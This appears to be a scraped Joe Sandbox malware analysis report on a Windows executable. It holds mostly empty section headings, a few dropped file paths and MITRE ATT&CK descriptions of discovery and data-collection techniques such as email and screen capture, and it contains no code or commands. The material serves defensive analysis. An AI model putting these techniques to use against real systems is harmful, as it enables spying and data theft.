Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\PRingTone\PRingTone.exe

C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy)

C:\Program Files (x86)\PRingTone\bin\x86\COPYING.LGPLv2.1 (copy)

Windows Analysis Report
NBHEkIKDCr.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre